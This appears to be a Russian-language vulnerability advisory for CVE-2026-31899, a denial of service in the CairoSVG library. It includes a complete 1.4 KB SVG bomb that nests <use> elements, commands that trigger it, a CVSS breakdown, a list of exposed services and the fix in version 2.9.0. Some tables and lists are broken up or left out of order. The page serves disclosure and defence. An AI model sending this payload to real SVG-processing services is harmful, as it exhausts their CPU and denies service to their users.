
CVE-2026-31899: Экспоненциальный DoS через амплификацию рекурсивного элемента <use> в CairoSVG (CVSS 7.5 Высокий)
Ключевые слова: CVE-2026-31899, CairoSVG, экспоненциальный DoS, SVG-бомба, рекурсивный элемент use, отказ в обслуживании, XML-амплификация, уязвимость Python SVG, CWE-400, неконтролируемое потребление ресурсов, SVG-«billion laughs»
Экспоненциальный отказ в обслуживании CairoSVG (CVE-2026-31899) — SVG-нагрузка размером 1411 байт бессрочно удерживает ЦП на 100% за счёт рекурсивной амплификации элементов .
CairoSVG (~300 тыс. загрузок в неделю) — широко используемый Python-конвертер SVG в PNG/PDF. Функция use() в cairosvg/defs.py рекурсивно обрабатывает элементы без каких-либо ограничений по глубине или количеству. При 5 уровнях вложенности и 10 ссылках на каждом уровне небольшой SVG-файл вызывает 10^5 = 100 000 вызовов рендеринга — вариант «billion laughs» для SVG.
Обнаружил: Kai Aizen — SnailSploit Опубликовано: 13 марта 2026 Оценка CVSS: 7.5 (Высокая) CWE: CWE-400 — Неконтролируемое потребление ресурсов Пакет: CairoSVG (PyPI) Тип атаки: Экспоненциальный отказ в обслуживании Требуемые привилегии: Нет (без аутентификации)
Функция use() в cairosvg/defs.py (строка ~335) рекурсивно разрешает элементы , ссылающиеся на другие элементы . Нет ограничения на глубину рекурсии и нет общего лимита на количество элементов. Злоумышленник может создать небольшой SVG, в котором каждый уровень ссылается на предыдущий N раз, что даёт O(N^depth) вызовов рендеринга из входных данных размером O(depth).
Уязвимость существует по следующим причинам:
При 5 уровнях и коэффициенте ветвления 10:
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
Итого: 111 111 вызовов рендеринга из входных данных размером 1411 байт.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Способ 1 — командная строка:
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
Способ 2 — Python:
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
Любой сервис, который принимает SVG на входе и использует CairoSVG для обработки, уязвим:
| Поверхность атаки | Пример |
|---|---|
| Генерация миниатюр |
Один запрос с нагрузкой 1,4 КБ бессрочно заблокирует поток обработки, потребляя минимум памяти (OOM-kill вас не спасёт).
Обновите CairoSVG до версии 2.9.0 или выше:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Дата | Событие |
|---|---|
| 2026-03-09 | CVE зарезервирован |
| 2026-03-13 | Опубликован бюллетень (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | Выпущена CairoSVG 2.9.0 с исправлением |
Kai Aizen (SnailSploit)
⚠️ Отказ от ответственности: Этот репозиторий предназначен исключительно для образовательных целей и санкционированных исследований в области безопасности. Доказательство концепции предоставлено, чтобы помочь защитникам проверить свою подверженность уязвимости. Используйте ответственно.
Полное описание проекта, методология и связанные исследования доступны по адресу:
Создано Kai Aizen — независимым исследователем в области наступательной безопасности.
snailsploit.com · Исследования · Фреймворки · GitHub · LinkedIn · ResearchGate · X/Twitter
Та же атака. Другая среда.
| Загрузка SVG → сервер конвертирует в PNG |
| Генерация PDF | SVG, встроенный в документ → CairoSVG выполняет рендеринг |
| Обработка аватаров/изображений | Загруженные пользователем SVG-изображения профиля |
| Рендеринг отчётов | SVG-диаграммы в автоматизированных отчётах |
| CI/CD-конвейеры | SVG-ресурсы, обрабатываемые во время сборки |
| Метрика | Значение |
|---|
| Вектор атаки | Сетевой (AV:N) |
| Сложность атаки | Низкая (AC:L) |
| Требуемые привилегии | Отсутствуют (PR:N) |
| Взаимодействие с пользователем | Не требуется (UI:N) |
| Область действия | Без изменений (S:U) |
| Конфиденциальность | Отсутствует (C:N) |
| Целостность | Отсутствует (I:N) |
| Доступность | Высокая (A:H) |